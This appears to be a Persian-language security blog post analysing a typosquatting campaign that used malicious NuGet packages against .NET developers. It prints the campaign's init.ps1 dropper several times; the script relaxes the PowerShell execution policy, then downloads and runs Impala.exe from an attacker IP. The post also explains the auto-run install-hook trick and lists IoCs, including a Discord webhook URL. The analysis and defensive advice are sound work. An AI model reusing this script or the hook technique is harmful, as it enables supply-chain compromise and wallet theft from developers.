بسته های مخرب اغلب در مخازن NPM و PyPI ارائه میشن اما اخیرا محققای jfrog یه کمپینی رو شناسایی کردن که با استفاده از تکنیک typosquatting در بسته های مخرب NuGet ، برنامه نویسای دات نت رو هدف قرار دادن.
این بسته ها حاوی یه اسکرپیت پاورشلی بودن که بعد از نصب بسته اجرا شده و پیلود مرحله دوم که یه فایل مخرب اجرایی بوده رو دانلود و اجرا میکرده.
اگرچه این بسته های مخرب ، بیش از 150 هزار بار دانلود شدن و بعد از گزارش حذف شدن، اما به دلیل اینکه این بسته ها ، قابلیت اجرای کد بلافاصله بعد از نصب رو دارن، میتونن برای برنامه نویسای دات نتی خطراتی رو داشته باشن.
روش سوء استفاده:
در نسخه های قدیمی Visual Studio ، یه برنامه نویس میتونه یه اسکریپت پاورشلی رو در دایرکتوری tools ، بسته NuGet قرار بده و این اسکریپت میتونه بصورت خودکار بدون نیاز به چیزی در هنگام نصب بسته، حذف بسته و یا بالا اومد VS و … اجرا بشه.
در نسخه های جدید مایکروسافت ، از توسعه دهندگان خواسته که اسکریپتهای install.ps1 و uninstall.ps1 کنار بزارن و همچنین در مستندات جدید هم توضیحات در خصوص این اسکریپتها رو حذف کرده.
اما نکته ای که وجود داره اینه که اسکریپت init.ps1 هنوز حذف نشده و قابلیت اجرا در VS رو داره. این بسته بصورت خودکار هنگام نصب بسته اجرا میشه. البته اگه از طریق NuGet CLI نصب کنید اجرا نمیشه. همچنین اگه project solution از طریق پنجره Package Manager Console باز بشه هم اجرا میشه.
در داخل این اسکریپت ، هکر میتونه دستورات دلخواهش رو بنویسه. برای مثال :
1 2 |
& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('Hello From init','WARNING')} |
خروجی دستور بالا بالافصله بعد از نصب بسته :
نکته بعدی هم این که، اگه اسکریپت init.ps1 توسط فایل متاداده ای .nuspec ارجاع داده نشه هم ، باز اجرا میشه. شکل زیر نشون میده که هیچ ارجاعی به اسکریپت ما نشده و اسکریپت ما اجرا شده.
بسته های مخرب کشف شده توسط محققین:
محققین بسته های زیر رو شناسایی و گزارش دادن . همه بسته حذف شدن.
Package Name | Owner | Download Count | Publish Date | Impersonated package |
Coinbase.Core | BinanceOfficial | 121.9K | 2023-02-22 | Coinbase |
Anarchy.Wrapper.Net | OfficialDevelopmentTeam | 30.4K | 2023-02-21 | Anarchy-Wrapper |
DiscordRichPresence.API | OfficialDevelopmentTeam | 14.1K | 2023-02-21 | DiscordRichPresence |
Avalon-Net-Core | joeIverhagen | 1.2k | 2023-01-03 | AvalonEdit |
Manage.Carasel.Net | OfficialDevelopmentTeam | 559 | 2023-02-21 | N/A |
Asip.Net.Core | BinanceOfficial | 246 | 2023-02-22 | Microsoft.AspNetCore |
Sys.Forms.26 | joeIverhagen | 205 | 2023-01-03 | System.Windows.Forms |
Azetap.API | DevNuget | 153 | 2023-02-27 | N/A |
AvalonNetCore | RahulMohammad | 67 | 2023-01-04 | AvalonEdit |
Json.Manager.Core | BestDeveIopers | 46 | 2023-03-12 | Generic .NET name |
Managed.Windows.Core | MahamadRohu | 37 | 2023-01-05 | Generic .NET name |
Nexzor.Graphical.Designer.Core | Impala | 36 | 2023-03-12 | N/A |
Azeta.API | Soubata | 28 | 2023-02-24 | N/A |
نکته ای که در خصوص دانلودها هستش اینه که ، ممکنه مهاجمین برای قانونی جلوه دادن بسته های مخرب ، اقدام به دانلود فیک از طریق باتها کنن ،تا تعداد دانلودهارو بالا ببرن.
بررسی کمپین :
در بسته های بالا ، بعد از نصب بسته ، اسکریپت init.ps1 زیر اجرا شده و یه فایل exe رو دانلود و اجرا میکرده.
1 2 3 4 5 |
New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force Clear-Host $ProcName = "Impala.exe" $WebFile = "http://62[.]182[.]84[.]61/4563636/$ProcName" (New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") Start-Process ("$env:APPDATA\$ProcName") |
مهاجمین برای فریب کاربران برای اینکه بسته های مخرب رو دانلود کنن از روش های زیر استفاده کردن :
1- تکنیک typosquatting : استفاده از اسامی شبیه به بسته های قانونی. مثلا مهاجمین از نام Coinbase.Core برای بسته مخرب استفاده کردن تا از محبوبیت بسته قانونی Coinbase سوء استفاده کنن.
2- استفاده از عناوین خاص بعنوان مالک و سازنده بسته ها. مثلا BinanceOfficial, NuGetDev, OfficialDevelopmentTeam
3- با توجه به اینکه NuGet فرایندی برای تایید، ویژگی Author در فایل متاداده ای nuspec نداره برخی بسته ها شامل ویژگی Author گمراه کننده مانند Micosoft و توضیحات مبهم بودن.
4- برخی بسته ها حاوی اسکریپت مخرب نبودن، بلکه بعنوان dependency ، یسری بسته مخرب دیگه رو معرفی کرده بودن. اینا این بسته ها رو دانلود و نصب میکردن و از این طریق فرایند مخرب رو پیش می بردن.
5- در برخی بسته ها ، برای مالک و توسعه دهنده بسته ، از اسم برنامه نویسای دیگه سوء استفاده کرده بودن. مثلا از اسم joelverhagen که یکی از توسعه دهندگان مایکروسافت هستش سوء استفاده کردن.
بررسی اسکریپت مخرب :
اسکریپتی که بعد از نصب بسته اجرا میشده ، همونطور که بالا اشاره کردیم ، این اسکریپت بوده :
1 2 3 4 5 |
New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force Clear-Host $ProcName = "Impala.exe" $WebFile = "http://62[.]182[.]84[.]61/4563636/$ProcName" (New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") Start-Process ("$env:APPDATA\$ProcName") |
این اسکریپت در مرحله اول ، پیکربندی اجرای پاورشل رو تغییر میده تا کاربر فعلی بتونه اسکریپت های پاورشلی رو بدون هیچ محدودیتی اجرا کنه :
1 2 |
New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force |
در ادامه میاد و یه فایل اجرایی رو دانلود میکنه :
1 2 3 |
$ProcName = "Impala.exe" $WebFile = "http://62[.]182[.]84[.]61/4563636/$ProcName" (New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") |
با توجه به اینکه دانلود از طریق http هستش ، مهاجمین محلی میتونن با استفاده از تکنیک man-in-the-middle ، بسته به محیطی که باینری قراره توش اجرا بشه، در پیلود تغییراتی بدن و باینری دلخواه رو روی سیستم قربانی اجرا کنن.
در نهایت بعد از دانلود باینری ، اونو اجرا میکنه.
1 |
Start-Process ("$env:APPDATA\$ProcName") |
بررسی باینری دانلود شده:
اغلب باینری های دانلود شده ، ابزارهای هک متن باز بودن اما در این مورد باینری دانلود شده در یه زبان سطح پایین توسعه داده شده. محققین براساس PDB ، اسم اون رو Impala گذاشتن.
این بدافزار قابلیت های زیر رو داره :
1-بدافزار قابلیت سرقت اطلاعات کیف های پول Exodus Lightning از طریق Discord Webhook ها رو داره.
2- قابلیت استخراج Electron Archive از طریق کتابخونه Rasar در زبان rust داره.
3- بدافزار برای بروزرسانی خودش یه فایل در مسیر زیر قرار میده :
1 |
C:\Users\user\AppData\Local\Squirrel-2021\Updater.exe |
چطوری در برابر بسته های مخرب NuGet ، مراقبت کنیم :
اولین قدم اینه که هنگام جستجوی بسته ها ، به املای اون توجه کنید. چون همونطور که مشاهده کردید ، مهاجمین با استفاده از اشتباهات تایپی، برای برنامه نویسا تور پهن میکنن.
قدم دوم اینه که بررسی کنید که آیا بسته ها حاوی اسکریپتهای مخرب هستن یا نه. برای این منظور در صفحه بسته، سمت راست گزینه NuGet Package Explorer هستش، که با کلیک روی اون میتونید این موارد بررسی کنید :
البته این کار میتونید با دانلود مستقیم بسته و بررسی اون روی سیستم خودتون هم انجام بدید . بعد از دانلود بسته، اونو با برنامه 7zip از حالت فشرده خارج کنید.
همچنین بررسی اینکه در یه بازه طولانی ، بسته چند بار دانلود شده ، چند تا نسخه ازش منتشر شده و … هم میتونه کمک کنه. البته این موارد توسط یه مهاجم پیچیده تر میتونه ، دور زده بشه.
IoCهای گزارش :
1 2 3 4 5 6 7 8 9 10 11 |
https[:]//discord[.]com/api/webhooks/1076330498026115102/MLkgrUiivlgAoFWyvkSpLsBE3DMaDZd9cxPK3k9XQPyh6dw55jktV6qfDgxbs5AaY7Py 62[.]182[.]84[.]61 194[.]233[.]93[.]50 195[.]58[.]39[.]167 https[:]//paste[.]bingner[.]com/paste/xden6/raw Squirrel-2021\Updater[.]exe |